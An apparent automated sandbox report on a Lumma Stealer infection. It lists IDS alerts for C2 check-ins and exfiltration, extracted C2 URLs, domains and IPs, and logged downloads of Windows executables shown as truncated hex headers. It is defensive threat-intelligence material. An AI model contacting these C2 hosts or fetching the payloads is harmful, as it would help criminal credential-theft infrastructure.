Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49873 -> 172.67.139.78:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49924 -> 172.67.139.78:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49921 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:49879 -> 172.67.139.78:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49921 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49967 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49967 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49867 -> 172.67.139.78:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49867 -> 172.67.139.78:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49958 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49958 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49930 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49930 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:49936 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49992 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:50074 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50074 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:50065 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50065 -> 104.21.48.1:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: drive-connect.cyou
Source: Malware configuration extractor	URLs: se-blurry.biz
Source: Malware configuration extractor	URLs: zinc-sneark.biz
Source: Malware configuration extractor	URLs: dare-curbys.biz
Source: Malware configuration extractor	URLs: formy-spill.biz
Source: Malware configuration extractor	URLs: print-vexer.biz
Source: Malware configuration extractor	URLs: covery-mover.biz
Source: Malware configuration extractor	URLs: impend-differ.biz
Source: Malware configuration extractor	URLs: dwell-exclaim.biz
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 09 Dec 2024 20:09:09 GMTContent-Type: application/octet-streamContent-Length: 828416Last-Modified: Mon, 09 Dec 2024 19:37:50 GMTConnection: keep-aliveETag: "6757470e-ca400"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 08 00 8d fe 56 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 a0 02 00 00 e0 00 00 00 00 00 00 72 e5 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 0c 00 00 08 00 00 a9 ae 0c 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 e0 3c 03 00 3c 00 00 00 00 a0 03 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 03 00 88 1f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 ff 02 00 18 00 00 00 88 c2 02 00 c0 00 00 00 00 00 00 00 00 00 00 00 94 3e 03 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c0 9e 02 00 00 10 00 00 00 a0 02 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 3c a3 00 00 00 b0 02 00 00 a4 00 00 00 a8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 d4 27 00 00 00 60 03 00 00 18 00 00 00 4c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 54 4c 53 00 00 00 00 09 00 00 00 00 90 03 00 00 02 00 00 00 64 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 10 00 00 00 00 a0 03 00 00 02 00 00 00 66 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 88 1f 00 00 00 b0 03 00 00 20 00 00 00 68 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 62 73 73 00 00 00 00 00 8e 04 00 00 d0 03 00 00 8e 04 00 00 88 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 00 8e 04 00 00 60 08 00 00 8e 04 00 00 16 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 09 Dec 2024 20:09:16 GMTContent-Type: application/octet-streamContent-Length: 1966080Last-Modified: Mon, 09 Dec 2024 17:50:43 GMTConnection: keep-aliveETag: "67572df3-1e0000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 21 4a f8 9d 40 24 ab 9d 40 24 ab 9d 40 24 ab 83 12 a0 ab 81 40 24 ab 83 12 b1 ab 89 40 24 ab 83 12 a7 ab c5 40 24 ab ba 86 5f ab 94 40 24 ab 9d 40 25 ab f6 40 24 ab 83 12 ae ab 9c 40 24 ab 83 12 b0 ab 9c 40 24 ab 83 12 b5 ab 9c 40 24 ab 52 69 63 68 9d 40 24 ab 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 0c de dd 64 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 d4 02 00 00 b0 01 00 00 00 00 00 00 50 86 00 00 10 00 00 00 f0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 80 86 00 00 04 00 00 68 c0 1e 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5a 10 42 00 6e 00 00 00 00 e0 40 00 68 21 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 8e 85 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 d0 40 00 00 10 00 00 00 54 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 68 21 01 00 00 e0 40 00 00 94 00 00 00 64 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 10 42 00 00 02 00 00 00 f8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 40 29 00 00 20 42 00 00 02 00 00 00 fa 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6b 6c 72 66 6e 68 6a 75 00 e0 1a 00 00 60 6b 00 00 de 1a 00 00 fc 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 75 75 73 79 79 63 7a 00 10 00 00 00 40 86 00 00 04 00 00 00 da 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 50 86 00 00 22 00 00 00 de 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 09 Dec 2024 20:09:24 GMTContent-Type: application/octet-streamContent-Length: 1858560Last-Modified: Mon, 09 Dec 2024 20:05:43 GMTConnection: keep-aliveETag: "67574d97-1c5c00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 ea b9 55 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 dc 03 00 00 b2 00 00 00 00 00 00 00 40 49 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 70 49 00 00 04 00 00 9b 7b 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 40 05 00 70 00 00 00 00 30 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 41 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 20 05 00 00 10 00 00 00 42 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 30 05 00 00 04 00 00 00 52 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 40 05 00 00 02 00 00 00 56 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 00 2a 00 00 50 05 00 00 02 00 00 00 58 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 68 6b 6a 66 67 68 66 67 00 e0 19 00 00 50 2f 00 00 dc 19 00 00 5a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 74 77 77 69 76 67 62 00 10 00 00 00 30 49 00 00 04 00 00 00 36 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 40 49 00 00 22 00 00 00 3a 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 09 Dec 2024 20:09:33 GMTContent-Type: application/octet-streamContent-Length: 1831936Last-Modified: Mon, 09 Dec 2024 20:05:50 GMTConnection: keep-aliveETag: "67574d9e-1bf400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 30 6a 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 6a 00 00 04 00 00 df 71 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 68 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 ac 01 00 00 00 a0 24 00 00 02 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 7a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 10 2b 00 00 c0 24 00 00 02 00 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 6b 66 76 6a 61 6a 70 00 50 1a 00 00 d0 4f 00 00 50 1a 00 00 7e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 6f 66 70 63 78 6e 6e 00 10 00 00 00 20 6a 00 00 04 00 00 00 ce 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 30 6a 00 00 22 00 00 00 d2 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 09 Dec 2024 20:09:41 GMTContent-Type: application/octet-streamContent-Length: 973312Last-Modified: Mon, 09 Dec 2024 20:03:57 GMTConnection: keep-aliveETag: "67574d2d-eda00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 25 4d 57 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 2a 05 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 0f 00 00 04 00 00 c6 02 0f 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 f0 6f 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 0e 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 6f 01 00 00 40 0d 00 00 70 01 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 b0 0e 00 00 76 00 00 00 64 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 09 Dec 2024 20:09:49 GMTContent-Type: application/octet-streamContent-Length: 2793472Last-Modified: Mon, 09 Dec 2024 20:04:25 GMTConnection: keep-aliveETag: "67574d49-2aa000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 00 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 2b 00 00 04 00 00 47 78 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 00 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 69 78 6e 61 6a 67 6f 6d 00 40 2a 00 00 a0 00 00 00 3e 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 73 65 79 75 71 71 79 66 00 20 00 00 00 e0 2a 00 00 06 00 00 00 78 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 00 2b 00 00 22 00 00 00 7e 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 09 Dec 2024 20:09:56 GMTContent-Type: application/octet-streamContent-Length: 2793472Last-Modified: Mon, 09 Dec 2024 20:04:27 GMTConnection: keep-aliveETag: "67574d4b-2aa000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 00 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 2b 00 00 04 00 00 47 78 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 